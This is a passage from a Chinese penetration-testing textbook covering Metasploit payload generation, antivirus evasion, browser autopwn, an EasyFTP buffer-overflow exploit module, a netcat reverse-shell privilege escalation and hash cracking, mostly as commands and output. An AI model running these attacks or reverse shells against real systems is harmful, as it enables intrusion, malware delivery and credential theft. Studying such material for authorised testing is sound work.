Metasploit 的 msfpayload 工具能够生成可单独运行的、执行指定 Metasploit payload的后门程序。如果只能采取社会工程学手段对目标进行渗透,那么这种手段就真是救命稻草了。在本例中,我们将生成一个带有reverse shell payload的可执行文件,然后把它发给目标人物,诱使他/她执行这个文件。msfpayload程序可以生成多种语言的程序,输出Perl、C、Raw、Ruby、JavaScript、Exe、DLL和VBA等格式的文件。

如需启动msfpayload工具,可在您的shell中执行下述指令。

# msfpayload -h

上述指令将会显示它的使用说明,并列出所有可用的payload。它的指令格式和MSFCLI非常相似。现在,我们通过下述指令创建一个带有reverse shell payload 的可执行程序。

# msfpayload windows/shell_reverse_tcp LHOST=192.168.0.3 LPORT=33333 O

...

# msfpayload windows/shell_reverse_tcp LHOST=192.168.0.3 LPORT=33333 X

>/tmp/poker.exe

Created by msfpayload (http://www.metasploit.com).

Payload: windows/shell_reverse_tcp

Length: 314

Options: LHOST=192.168.0.3,LPORT=33333

这样,我们就生成了自己的后门程序。在把它发送到受害人或目标之前,您必须在MSFConsle里使用multi/handler做好服务端的准备,以便它可受理可执行文件连入本机的请求。这时候,要使multi/handler的配置和msfpayload在创建程序时的配置相匹配。

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/shell_reverse_tcp

PAYLOAD => windows/shell_reverse_tcp

msf exploit(handler) > show options

...

msf exploit(handler) > set LHOST 192.168.0.3

LHOST => 192.168.0.3

msf exploit(handler) > set LPORT 33333

LPORT => 33333

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.3:33333

[*] Starting the payload handler...

现在,我们可以把准备好的Windows可执行文件通过社会工程欺骗方法发送给目标机器,然后等待对方运行。

[*] Command shell session 2 opened (192.168.0.3:33333 ->

192.168.0.7:1053) at Wed Nov 17 04:39:23 +0000 2010

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\salesdept\Desktop>

如果在 MSFConsole 里看见了上述信息,就表明目标主机发起了 reverse shell,我们成功地连接到了被测主机的shell,圆满地完成了任务。

Metasploit生成的文件能否规避杀毒软件的检测?

有很多种方法可以规避杀毒软件的检测,本文只介绍其中的一种。我们可使用/usr/bin/msfencode目录下的msfencode工具,对可执行文件进行保护性封装。在使用 msfpayload 程序生成可执行文件时,使用管道命令把文件内容传给 msfencode 再生成最终文件。例如,下述指令将生成带有reverse shell的可执行文件,并对文件进行保护性封装:msfpayload windows/ shell/reverse_tcp LHOST=192.168.0.3 LPORT=32323 R | msfencode -e x86/shikata_ga_nai -t exe >/tmp/tictoe。在规避检测方面,staged payload的成功率大于inlinepayload。

自动化浏览器漏洞利用

在测试较为安全的企业网络时,渗透人员往往不知从何处入手。在这种情况下,以使用电子设备的人员为目标,或以员工为首要目标开展社会工程学攻击可能是唯一的方向。本例将使用 Metasploit 框架的客户端漏洞利用模板,以演示基于技术手段的社会工程学攻击。下面将介绍一款先进的辅助工具——Browser autopwn。在目标人员访问它构建的恶意URL 的情况下,它能够识别出被测主机的浏览器类型,并根据识别结果自动从框架中选用针对该浏览器的exploit程序对浏览器发起攻击。有关的指令及运行结果如下。

msf > use auxiliary/server/browser_autopwn

msf auxiliary(browser_autopwn) > show options

...

msf auxiliary(browser_autopwn) > set LHOST 192.168.0.3

LHOST => 192.168.0.3

msf auxiliary(browser_autopwn) > set SRVPORT 80

SRVPORT => 80

msf auxiliary(browser_autopwn) > set SRVHOST 192.168.0.3

SRVHOST => 192.168.0.3

msf auxiliary(browser_autopwn) > set URIPATH /

URIPATH => /

msf auxiliary(browser_autopwn) > run

[*] Auxiliary module execution completed

[*] Starting exploit modules on host 192.168.0.3...

[*] --

[*] Starting exploit multi/browser/firefox_escape_retval with payload generic/ shell_reverse_tcp

[*] Using URL: http://192.168.0.3:80/Eem9cKUlFvW

[*] Server started.

[*] Starting exploit multi/browser/java_calendar_deserialize with payload java/meterpreter/reverse_tcp

[*] Using URL: http://192.168.0.3:80/s98jmOiOtmv4

[*] Server started.

[*] Starting exploit multi/browser/java_trusted_chain with payload java/ meterpreter/reverse_tcp

[*] Using URL: http://192.168.0.3:80/6BkY9uM23b

[*] Server started.

[*] Starting exploit multi/browser/mozilla_compareto with payload generic/shell_reverse_tcp

[*] Using URL: http://192.168.0.3:80/UZOI7Y

[*] Server started.

[*] Starting exploit multi/browser/mozilla_navigatorjava with payload generic/ shell_reverse_tcp

[*] Using URL: http://192.168.0.3:80/jRwlT67KIK6gJE

...

[*] Starting exploit windows/browser/ie_createobject with payload windows/meterpreter/reverse_tcp

[*] Using URL: http://192.168.0.3:80/Xb9Cop7VadNu

[*] Server started.

[*] Starting exploit windows/browser/ms03_020_ie_objecttype with payload windows/meterpreter/reverse_tcp

[*] Using URL: http://192.168.0.3:80/rkd0X4Xb

[*] Server started.

...

[*] Starting handler for windows/meterpreter/reverse_tcp on port 3333

[*] Starting handler for generic/shell_reverse_tcp on port 6666

[*] Started reverse handler on 192.168.0.3:3333

[*] Starting the payload handler...

[*] Starting handler for java/meterpreter/reverse_tcp on port 7777

[*] Started reverse handler on 192.168.0.3:6666

[*] Starting the payload handler...

[*] Started reverse handler on 192.168.0.3:7777

[*] Starting the payload handler...

[*] --- Done, found 15 exploit modules

[*] Using URL: http://192.168.0.3:80/

[*] Server started.

一旦目标人员访问了恶意URL(http://192.168.0.3),程序将会识别出他的/她的浏览器,并执行相应的漏洞利用程序。在此以后,我们就可以通过客户端利用程序渗透目标主机。

[*] Request '/' from 192.168.0.7:1046

[*] Request '/' from 192.168.0.7:1046

[*] Request '/?sessid=V2luZG93czpYUDpTUDI6ZW4tdXM6eDg2Ok1TSUU6Ni4wO1NQMjo %3d' from 192.168.0.7:1046

[*] JavaScript Report: Windows:XP:SP2:en-us:x86:MSIE:6.0;SP2:

[*] Responding with exploits

[*] Handling request from 192.168.0.7:1060...

[*] Payload will be a Java reverse shell to 192.168.0.3:7777 from 192.168.0.7...

[*] Generated jar to drop (4447 bytes).

[*] Handling request from 192.168.0.7:1061...

...

[*] Sending Internet Explorer COM CreateObject Code Execution exploit HTML to 192.168.0.7:1068...

[*] Request '/' from 192.168.0.7:1069

[*] Request '/' from 192.168.0.7:1068

[*] Request '/' from 192.168.0.7:1069

[*] Sending EXE payload to 192.168.0.7:1068...

[*] Sending stage (749056 bytes) to 192.168.0.7

[*] Meterpreter session 1 opened (192.168.0.3:3333 ->192.168.0.7:1072) at Thu Nov 18 02:24:00 +0000 2010

[*] Session ID 1 (192.168.0.3:3333 -> 192.168.0.7:1072) processing InitialAutoRunScript 'migrate -f'

[*] Current server process: hzWWoLvjDsKujSAsBVykMTiupUh.exe (4052)

[*] Spawning a notepad.exe host process...

[*] Migrating into process ID 2788

[*] New server process: notepad.exe (2788)

...

msf auxiliary(browser_autopwn) > sessions

Active sessions

===============

Id Type  Information

Connection

-- ----  ----------

----------

1 meterpreter x86/win32 CUSTDESK\Momin Desktop @ CUSTDESK

(ADMIN) 192.168.0.3:3333 -> 192.168.0.7:1072

msf auxiliary(browser_autopwn) > sessions -i 1

[*] Starting interaction with 1...

meterpreter > getuid

Server username: CUSTDESK\Momin Desktop

上述信息表明,我们已经利用客户端的攻击程序成功渗透到目标主机。应当指出的是,这些Web浏览器的exploit程序,每个都只能对特定版本的特定浏览器(例如Intenet Explorer、Firefox、Opera等)进行攻击。

9.3.4 编写漏洞利用模板

Metasploit 框架最引人注目之处在于它可以独立开发 exploit 程序。本节将围绕 exploit开发的核心问题进行讨论,通过生动的例子演示使用 Metasploit 框架的数据库构造 exploit的关键步骤。然而,在使用这个框架编写自己的 exploit 程序之前,您需要理解一些 Ruby编程的基础知识。另外,您还需要掌握逆向工程的基本技能,并切实理解漏洞挖掘工具(如fuzzers和debuggers)的使用方法。只有兼备上述技能,您才能按步就班地构造exploit程序。本节的内容仅作为有关研发的简略介绍,在完整程度上可能存在欠缺。

本例将针对 EasyFTP Server(1.7.0.11 以下版本)编写利用 MKD Command Stack Buffer Overflow 漏洞的shellcode 程序,它能够反映编写缓冲区溢出exploit 的大致方法。您可以针对其他FTP服务端程序的相似漏洞,举一反三地编写exploit程序。这个exploit的源代码的下载网址是/usr/share/metasploit-framework/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb。

##

# $Id: easyftp_mkd_fixret.rb 9935 2010-07-27 02:25:15Z jduck $

##

文件中的header部分描述了这个exploit的文件名、修订编号、创建日期和时间。

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

在exploit的开头部分,首先要对MSF核心库进行初始化。

class Metasploit3 < Msf::Exploit::Remote

上述代码所用的Exploit子类定义了远程TCP连接所需的各种选项和方法(内置函数),包括RHOST、RPORT、Connect()、Disconnect()、SSL()等。

Rank = GreatRanking

上述代码根据需求和使用的频率分配等级。

include Msf::Exploit::Remote::Ftp

上述代码中的Ftp子类用于和FTP服务端建立连接。

def initialize(info = {})

super(update_info(info,

'Name'   => 'EasyFTP Server <= 1.7.0.11 MKD Command Stack Buffer Overflow',

'Description' => %q{

This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11

and earlier. EasyFTP fails to check input size when parsing 'MKD' commands, which

leads to a stack based buffer overflow.

NOTE: EasyFTP allows anonymous access by default. However, in order to access the

'MKD' command, you must have access to an account that can create directories.

After version 1.7.0.12, this package was renamed "UplusFtp".

This exploit utilizes a small piece of code that I've referred to as 'fixRet'.

This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by

'fixing' the return address post-exploitation. See references for more information.

},

'Author' ==>

[

'x90c', # original version

'jduck', # port to metasploit / modified to use fix-up stub (works with bigger payloads)

],

'License' => MSF_LICENSE,

'Version' => '$Revision: 9935 $',

' References' =>

[

['OSVDB', '62134' ],

['URL', 'http://www.exploit-db.com/exploits/12044/'],

['URL', 'http://www.exploit-db.com/exploits/14399/']

],

上述代码描述了exploit的常规信息,并且明确了参考的资料。

'DefaultOptions' =>

{

'EXITFUNC' => 'thread'

上述代码指定了exploit在结束时的销毁方式。

},

'Privileged' => false,

'Payload'  =>

{

'Space' => 512,

'BadChars' => "\x00\x0a\x0d\x2f\x5c",

'DisableNops' => true

},

上述代码为shellcode预留了512字节空间,列出应终止paylod的坏字符,并禁止使用NOP填充payload。

'Platform'  => 'win',

'Targets'  =>

[

[ 'Windows Universal - v1.7.0.2', { 'Ret' =>

0x004041ec } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.3', { 'Ret' =>

0x004041ec } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.4', { 'Ret' =>

0x004041dc } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.5', { 'Ret' =>

0x004041a1 } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.6', { 'Ret' =>

0x004041a1 } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.7', { 'Ret' =>

0x004041a1 } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.8', { 'Ret' =>

0x00404481 } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.9', { 'Ret' =>

0x00404441 } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.10', { 'Ret' =>

0x00404411 } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.11', { 'Ret' =>

0x00404411 } ], # call ebp - from ftpbasicsvr.exe

],

'DisclosureDate' => 'Apr 04 2010',

'DefaultTarget' => 0))

上述代码定义了操作系统的平台类型,定义了Easy FTPServer(1.7.0.2~1.7.0.11)的10个(序号0~9)有缺陷的版本;根据版本的不同,又定义了可执行程序(ftpbasicsvr. exe)不同的返回地址。另外,它声明了exploit的发布日期,以及攻击目标的默认版本号(1.7.0.2)。

end

def check

connect

disconnect

if (banner =~ /BigFoolCat/)

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe

end

上述代码中的check()函数用于判断目标主机是否存在该漏洞。

def make_nops(num); "C" * num; end

上述代码定义的宏函数可生成num个NOP,主要用于规避IDS/IPS/AV检测。虽然这个程序确实使用NOP作为规避检测的手段,但是通常情况下这种方式并不会奏效。所以,除非有特别好的理由,否则不要使用这种技术。简单起见,在写exploit模板的时候保留了这段代码。

def exploit

connect_login

# NOTE:

# This exploit jumps to ebp, which happens to point at a partial version of

# the 'buf' string in memory. The fixRet below fixes up the code stored on the

# stack and then jumps there to execute the payload. The value in esp is used

# with an offset for the fixup.

fixRet_asm = %q{

mov edi,esp

sub edi, 0xfffffe10

mov [edi], 0xfeedfed5

add edi, 0xffffff14

jmp edi

fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new,

fixRet_asm).encode_string

buf = ''

上述代码将返冋地址调整为 payload 的启始地址。从技术上来说,它解决了堆栈寻址(stack addressing)的问题。

print_status("Prepending fixRet...")

buf << fixRet

buf << make_nops(0x20 - buf.length)

exploit缓冲区的开头部分是经编码处理过的返回地址和随机个NOP指令。

print_status("Adding the payload...")

buf << payload.encoded

上述代码将在程序运行期间把shellcode动态地添加到exploit中。

# Patch the original stack data into the fixer stub

buf[10, 4] = buf[268, 4]

print_status("Overwriting part of the payload with target

address...")

buf[268,4] = [target.ret].pack('V') # put return address

@ 268 bytes

调整栈里的数据,修改返回地址为shellcode的地址。这样利用栈的特性,程序在执行过程中将自动跳转到shell的地址。

print_status("Sending exploit buffer...")

send_cmd( ['MKD', buf] , false)

最后,我们借助服务端程序里存在漏洞的MKD指令(这是一个经过FTP身份验证之后才能使用的指令),把构造好的缓冲区数据发送给指定主机。精心构造的buf数据可以通过Easy-FTP 服务端程序的 MKD 命令触发基于栈结构的缓冲区溢出漏洞,继而执行我们的payload,完成对目标系统的漏洞利用。之后,我们还要通过下述代码关闭FTP连接。

handler

disconnect

end

end

Metasploit搭载了许多实用工具。Win32下的msfpescan程序和Linux下的msfelfscan,都可用于查找指定程序的返回地址。例如,要查找指定程序的返回地址,可使用指令:#./msfpescan -p targetapp.ext。

9.4 本章总结

本章介绍了利用目标漏洞的几个关键点。开篇首先展示了漏洞检测的全过程,并强调了有关工作所需的知识和技巧。功能强大的Kali Linux 是漏洞评估工作的利器。本章接下来列举出了发布各种已公布漏洞和exploit程序的网站。本章的最后篇幅演示了髙级漏洞利用工具集——Metasploit框架。文中借助大量实例,介绍了通过各种利用漏洞获取被测目标控制权的方法。此外,本文还深入浅出地介绍了编写漏洞利用代码的各个环节,阐述了exploit程序的基本框架和编写策略。

下一章将会介绍提升权限的各种工具和技术。

第10章 提升权限

上一章介绍了利用已识别的漏洞进行漏洞映射的有关流程。利用漏洞的最终目的是获取被测系统的最高权限,即Windows操作系统中管理员账户的权限,或UNIX操作系统中root账户的权限。

所以在利用漏洞之后就应当提升权限。提升权限的实质是通过利用漏洞的手段提高自身的操作权限。

提升权限的方式分为两类。

● 纵向提权(vertical privilege escalation):如果低权限角色(的用户)能够获得高权限角色的权限,则这种提权就可称为纵向提权。例如,如果在提权之后,内容管理系统(CMS)的某个用户能够使用管理员的功能,那么这种提权就是纵向提权。

● 横向提权(horizontal privilege escalation):如果获取了同级别角色的权限,这种提权就属于横向提权。例如,如果在网上银行里,用户 A 获取了用户 B 的权限,他可以替用户B进行操作,那么这种提权就属于横向提权。

越权提升权限的攻击矢量,大体可分为以下几种。

● 利用本地漏洞。

● 利用目标系统上的配置缺陷。例如,如果 home 目录可被其他用户访问,那么攻击人员可就可以使用目录里的SSH私有密钥访问其他主机。

● 利用目标系统的弱密码。

● 嗅探网络流量以捕获他人的用户名和密码。

● 伪造网络数据包。

本章不会讨论利用配置缺陷的渗透方法。

10.1 利用本地漏洞

这一小节,我们将使用本地漏洞的利用程序(local exploit)提升权限。

我们的演示环境如下。

● IP 为192.168.56.102,运行Metasploitable 2 的虚拟机充当被测主机。

● IP 为192.168.56.101,运行Kali Linux 的虚拟机充当测试平台。

首先,我们要扫描被测主机上的网络服务。本文通过下述指令进行端口扫描。

nmap –p- 192.168.56.102

我们通过-p-选项,令Nmap扫描被测主机的所有端口(1~65535)。

在扫描结束之后,Nmap会列出所有开放的端口(见图10.1)。

figure_0270_0107

图10.1

我们通过网上资料确定distccd服务存在漏洞,可被用来执行任意指令。这个服务是一种分布式的编译工具,可协调多台主机协助完成大规模的编译任务。

然后,我们要确定Metasploit中是否有相应的exploit程序(见图10.2)。

上述信息表明,Metasploit确有攻击distccd服务漏洞的exploit程序。

接下来,我们通过下述指令利用这个漏洞(见图10.3)。

figure_0271_0108

图10.2

figure_0271_0109

图10.3

我们通过这个exploit利用了该服务的漏洞。而后,我们通过操作系统的指令看到已经获取到的权限是daemon的权限。

在进一步操作之前,我们应到获取被测主机的详细信息。现在,我们通过下述指令查看被测主机的内核版本。

uname –r

通过上述指令,我们了解到目标主机的内核是2.6.24-16-server。

我们搜索 exploit-db 的资料库,发现某个 exploit 程序(http://www.exploitdb.com/exploits/8572/)可将我们的权限提升为root权限。下一步,我们在测试主机上保存exploit程序,然后使被测主机从测试主机下载这个程序。有关指令如图10.4所示。

在被测主机上下载exploit之后,我们在被测主机上使用gcc指令编译exploit。

gcc privs.c -o privs

现在,我们制备好了exploit程序。在分析了exploit的源代码之后,我们发现这个exploit程序需要在命令行里使用 udevd netlink socket 的 PID(Process Identifier)作为参数。为此,我们使用下述指令获取这个PID值。

figure_0272_0110

图10.4

cat /proc/net/netlink

所获信息如图10.5所示。

figure_0272_0111

图10.5

您也可以通过单条指令获取udev服务的PID。

ps aux | grep udev

上述指令的输出结果如下。

root 2391 0.0 0.1 2216 660 ? S <S 21:06 0:01 / sbin /udevd -daemon

即,udev服务的PID是2390。

在实际的渗透测试工作之中,您可能要安装一台内核与被测主机完全相同的测试主机,以测试exploit程序。

从被测主机上收集的信息判断,目标主机上安装有NetCat程序。成功运行exploit程序之后,我们就有了被测主机的 root 权限。我们再在被测主机上运行 netcat 程序,让它反向连接到测试主机。通过其源代码可知,这个 exploit 把文件名为 run 的可执行文件当作其payload。所以,我们需要制备这个payload。

echo '#!/bin/bash' > run

echo '/bin/netcat -e /bin/bash 192.168.56.101 31337' >> run

在执行payload之前,我们还要在测试主机上启动netcat的监听服务,以受理被测主机发起的连接。

nc -vv -l -p 31337

最后,我们在被测主机上运行下述指令。

./privs 2390

此后,我们可在测试主机上看到图10.6所示的信息。

figure_0273_0112

图10.6

通过whoami指令,我们可看到已经成功提升自身权限为root的权限。

10.2 密码攻击

密码是当代系统验证用户身份的主要手段。只要某人能够递交正确的用户名和对应的密码,系统就允许这个人登录并允许他使用该账号的所有资源。

构成身份验证的要素可分为三大类。

● 基于所知(something you know)。这类认证要素通常被称为身份验证的第一要素。密码就属于这类要素。理论上来说,只有特定秘密的持有人才能“知道”有关秘密。然而不幸的是,这类信息很容易外泄,也易于被他人获悉。因此,机要系统应当采取其他方式的身份验证方式。

● 基于所有(somethingyou have)。这类认证要素通常被称为身份验证的第二要素。安全令牌、门禁卡等都属于这类认证要素。向系统出示相应的安全持有物后,持有者即可获得登录权。不过,持有物(信息)可被复制,所以这种身份验证方法并非没有缺陷。

● 基于特征(something you are)。这类认证要素通常被称为身份验证的第三要素。相比前两者而言,这类信息的身份验证方法更为安全。然而,已经出现了攻击这种验证方法的实际案例。指纹识别和视网膜识别都属于验证这类要素的手段。

如果有较高的安全需求,就应当验证一个以上的验证要素。高规格的安全系统往往验证第一要素和第二要素。因为这种方法验证了两种身份验证要素,因此被称为双要素验证。

然而不幸的是,我们的经验表明,目前多数系统广泛依赖单一的密码验证。作为渗透测试人员,您应当在测试过程中验证密码的安全性。

根据攻击方式的不同,密码攻击可分为以下几类。

● 离线攻击:这种攻击手段意在获取目标主机上的密码 hash 文件,并将该文件复制到攻击人员的主机。此后,攻击人员就可使用密码破解工具破解密码文件。这种方法的优点是无须顾及被测主机上的密码阻止策略(账户锁定等设置),因为有关破解工作是在攻击人员的主机上完成的。

● 在线攻击:如果采用这种方法,攻击人员将猜测用户名和对应的密码。因为需要多次猜测用户密码,所以这种方式因为可能会触发账户锁定等保护机制。

10.2.1 离线攻击工具

这类工具用于实施离线密码攻击。通常情况下,您会用这种工具破解高权限账户的密码,所以这些工具往往用于纵向提权。

既然已经有了某种权限的账户信息,为什么还需要其他账户的登录信息呢?在对某个系统进行渗透测试时,受被测主机配置的影响,所用账户可能无法运行某些特定的应用程序。这种情况下,您就无法进行下一步测试。但是,如果使用常规用户身份登录,您就可以正常运行那些程序了。这是需要获取其他账户信息的原因之一。

现在的主流系统在存储密码的时候都只保存密码的hash(哈希值)。通过哈希算法,密码可被转换为固定长度的消息摘要。这种转换是不可逆的单向转换。所谓单向转换是指:这种算法可将既定原始值轻松地转换为某个哈希,而没有实用的方法可以从哈希值逆向推导出原始的输入值。

过去,计算机系统保存密码明文。如果攻击人员获取到密码文件,那么他就获取了全部的密码。现在,即使攻击人员获取了密码文件,他们也只能获取密码的哈希值,还是无法轻易获取原始密码。

密码破解是以穷举的方式做哈希碰撞。如果所测密码的哈希值与文件中的哈希值相符,就意味着猜测到了正确的密码。

在利用SQL注入漏洞之后,测试人员就可导出整个数据库,继而可找到密码的哈希值。离线破解工具可以帮助测试人员从哈希值中获取记录的原始信息。

在一次渗透测试项目里,我们导出了整个数据库。这个数据里存有整个E-mail系统的用户名和密码。借助这些信息,我们以某个关键人物的身份登录到了E-mail系统,并获取了各种机要系统的账户信息。

1.hash-identifier

这款工具可识别哈希的类型。只有知道被测系统采用了什么哈希算法,才能使用密码破解工具破解哈希值。有关hash-identifier程序能够支持的加密算法,请参见作者的官方网站:http://code.google.com/p/hash-identifier/。

假如我们获取了下述哈希值。

d111b38c0e73bc867c4bad4023606a0e0df64c2f

我们可直接使用hash-identifier指令,并在HASH值字段输入哈希值。具体过程如图10.7所示。

figure_0275_0113

图10.7

上述信息表明这个值是SHA-1型的哈希值。接下来,我们可以使用Hashcat程序破解这个哈希值中的信息。

不过这个程序的可靠性有待提高。我们可能会遇到下述情况。

HASH: 8846f7eaee8fb117ad06bdd830b7586c

Possible Hashs:

[+] MD5

[+] Domain Cached Credentials - MD4(MD4(($pass)).

(strtolower($username)))

即,hash-identifier 认为这个值属于 MD5 或 MD4 型的哈希。不过这个哈希是经NTLM算法得来的。

2.Hashcat

Hashcat是一款免费的多线程密码破解工具。目前,它可破解80种算法(http://hashcat. net/hashcat/#features-algos)的哈希值。Hashcat 程序完全依赖 CPU 运算,它要比利用GPU(Graphical Processing Unit)运算的密码破解程序要慢一些。

Hastcat支持6种攻击模式。

● Straight:程序会从文本文件里逐行读取数据,并把这些数据当作密码的备选值。这是默认的攻击模式,通常也被称作字典式攻击模式。

● Combination(组合模式):Hashcat 将会把字典中的单词进行排列组合,再做哈希碰撞。例如,如果字典中含有以下单词

○ password

○ 01

那么Hashcat将会尝试的密码将是:

○ passwordpassword

○ password01

○ 01password

○ 0101

● Toggle Case(穷举大小写组合):程序将会尝试每个字典单词的各种大小写组合。

● Brute force(暴力破解):程序将会从关键字空间中取样再做排列组合。这种攻击模式正在被 mask attack 所取代。例如,如果我们设定程序测试 A-Z 组成的双字符密码,那么Hashcat将会尝试AA到ZZ的所有英文字符组合。

● Permutation(排列组合):对于字典里每个备选密码,程序将会按照字符进行各种排列组合。例如,如果字典里有AB这个备选密码,那么Hashcat将会测试的密码如下:

○ AB

○ BA

● Table-lookup(表查询):程序将把字典里每个备选密码的每个字符都当作对应的mask进行处理。这是一种自动匹配模式的穷举攻击,详细情况请参见http://hashcat. net/wiki/doku.php?id=table_lookup_attack。

Hashcat需要相应的字典文件。您可从下述链接中下载适用的字典。

● http://www.skullsecurity.org/wiki/index.php/Passwords。

● http://cyberwarzone.com/cyberwarfare/password-cracking-megacollection-password-cracking- word-lists。

● http://hashcrack.blogspot.de/p/wordlist-downloads_29.html

● http://packetstormsecurity.com/Crackers/wordlists/

● http://blog.g0tmi1k.com/2011/06/dictionaries-wordlists.html

● http://www.md5decrypter.co.uk/downloads.aspx

现在开始演示Hashcat的适用方法。

如果在执行Hashcat的时候指定--help选项,您将看到Hashcat的帮助信息。我们可通过这些帮助信息查看各个选项的使用方法。

假设我们获取了文件名为test.hash的密码文件,并从中找到了下述哈希值。

5f4dcc3b5aa765d61d8327deb882cf99

我们可使用rockyou.txt文件作为Hashcat的密码字典。简便起见,我们可把密码文件和字典文件放在同一个目录下。用pwd指令查看当前目录的目录名。

然后我们通过下述指令,令Hashcat以默认的攻击方式测试密码。

hashcat -m 100 test.hash rockyou.txt

其中,选项-m 100 指定了hash 的类型为SHA-1。

我们可看到图10.8所示的信息。

figure_0277_0114

图10.8

上述信息表明,程序成功的破解了该哈希值。即,密码原文是password01。

默认攻击模式的破解速度比较快。如果密码字典没有命中正确的密码,您就需要尝试其他的攻击模式。

Hashcat系列有很多密码破解工具。其中部分程序可以使用GPU破解密码;所以只要您的电脑装有兼容的GPU,那么破解速度还是相当理想的。请注意,无法在VM虚拟机里使用基于GPU破解的程序,因为在虚拟机里运行的程序无法直接调用物理主机的硬件。此外,显卡的兼容性也很重要。要使用基于GPU运算的破解程序,您的显卡需要支持CUDA(NVidia)或OpenCL(AMD)技术。在Hashcat系列里,支持基于GPU运算的破解程序有下面几下。

● oclhashcat-lite:它是一款基于GPU 运算的密码破解程序。在Hashcat 系列工具里,它算得上是速度最快的破解工具。不过它支持的哈希算法有限(约30种),而且只支持markov、brute force 和mask 模式的密码攻击。

● oclhashcat-plus:它是一款基于 GPU 运算的密码破解程序,支持多数哈希算法。这个程序针对字典式攻击进行了各种优化,可同时破解多个哈希值。oclhashcat-plus 工具支持的攻击模式有brute foce(以mask attack 模式实现)、combinator attack、dictionary attack、hybrid attack、mask attack和基于规则的攻击。

如需详细了解密码字典的有关情况,请参见:

● Hybrid attack(https://hashcat.net/wiki/doku. php?id=hybrid_attack)

● Mask attack(http://hashcat.net/wiki/doku. php?id=mask_attack)

● Rule-basedattack(http://hashcat.net/wiki/doku. php?id=rule_based_attack)

3.RainbowCrack

彩虹表破解(RainbowCrack)是利用彩虹表来破解哈希数据的工具。它实现了由Philippe Oechslin提倡的“以空间换时间”的技术思想。

如需详细了解这种技术,请参见Philippe Oechslin 的论文Making aFaster Cryptanalytic Time-Memory Trade-Off: http://lasec.epfl. ch/pub/lasec/doc/Oech03.pdf

这种破解密码的方式有别于暴力破解。暴力破解攻击首先计算密码的备选值(字典里的密码)的哈希值,然后再将计算出来的哈希值与获取到的哈希值进行对比。如果这两个值相等,则可确定哈希值的原始内容即是密码;否则就说明密码不正确。

彩虹表破解法的效率也高于暴力破解法。这是因为暴力破解法必须计算字典内容的哈希值,然后进行匹配。而使用“以空间换时间”技术的彩虹表破解法,事先就计算好了字典各项的哈希值,破解过程只是简单的数值比较,所以效率更高。

请注意:RainbowCrack程序速度不快,而且不支持多线程。人们已经修改了这个程序,使之支持多线程技术和部分显卡采用的 CUDA 技术。读者可从下列地址下载这个改进版的rcrack的程序: https://www. freerainbowtables.com/en/download/。

Kali Linux收录了RainbowCrack的三大工具。在破解哈希时,您必须依次使用这些工具。

● rtgen:生成彩虹表的程序。生成彩虹表的计算过程也被称为彩虹表的预计算阶段。彩虹表包含字典、哈希值、哈希算法、字符集以及字典的长度范围。彩虹表的预计算相当费时。但是生成彩虹表之后,彩虹表破解法将比暴力破解法的效率要高上不少。rtgen 程序支持的算法有 LanMan、NTLM、MD2、MD4、MD5、SHA1 以及RIPEMD160。

● rtsort:对rtgen 生成的彩虹表进行排序的工具。

● rcrack:利用彩虹表査找哈希值的工具。

如需启动生成彩虹表的rtgen工具,可在终端窗口中执行下述指令。

# rtgen

上述指令将会显示简单的使用说明,以及两个指令范例。

本例将使用这个程序制作两个彩虹表,并使其符合下述要求。

● hash algorithm(算法):md5

● charset(字符集):loweralpha

● plaintext_len_min:1

● plaintext_lan_max:5

● rainbow_table_index:0

● rainbow_ chain_length:2000

● rainbow_chain_count:8000

● part_index:0

依照以上要求,制作第一个彩虹表所需的指令如下所示。

# rtgen md5 loweralpha 1 5 0 2000 8000 testing

此后,屏幕上会显示图10.9所示的信息。

figure_0280_0115

图10.9

第一个彩虹表的文件名为 md5_loweralpha#1-5_0_2000x8000_0.rt,并被保存在目录/usr/share/rainbowcrack/之下。

制作第二个彩虹表所需的指令如下所示。

# rtgen md5 loweralpha 1 5 1 2000 8000 0

在作者的系统中,生成上述两个彩虹表总耗时为 3 分钟左右。第二个彩虹表被保存为md5_loweralpha#1-5_1_2000x8000_0.rt文件。

请注意,彩虹表的制作过程十分耗时,而且彩虹表文件非常大。如果需要估算彩虹表的耗时情况,可使用Winrtgen(http://www.oxid.it/ downloads/winrtgen.zip)程序。

Winrtgen 是Windows的应用程序。若要在Kali Linux中运行它,就需要使用Wine环境。

如果不想自己制作彩虹表,您可以从网上下载一些现成的彩虹表。例如,下述网站就提供了彩虹表下载服务:

● http://www.freerainbowtables.com/en/tables/;

● http://rainbowtables.shmoo.com/。

Winrtgen程序的图形界面如图10.10所示。

figure_0281_0116

图10.10

rtsort

制作彩虹表之后,应当对其进行排序。此时可选用rtsort程序。

若要在指令行中启动rtsort程序,可在终端中执行下述指令。

# rtsort

上述指令将会显示简单的使用说明以及指令范例。在本例中,我们将通过下述指令对第一个彩虹表进行排序。

# rtsort md5_loweralpha#1-5_0_2000x8000_0.rt

md5_loweralpha#1-5_0_2000x8000_0.rt:

1176928256 bytes memory available

loading rainbow table...

sorting rainbow table by end point...

writing sorted rainbow table...

然后,采取相同的操作对第二个彩虹表进行排序。

# rtsort md5_loweralpha#1-5_1_2000x8000_0.rt

md5_loweralpha#1-5_1_2000x8000_0.rt:

1177255936 bytes memory available

loading rainbow table...

sorting rainbow table by end point...

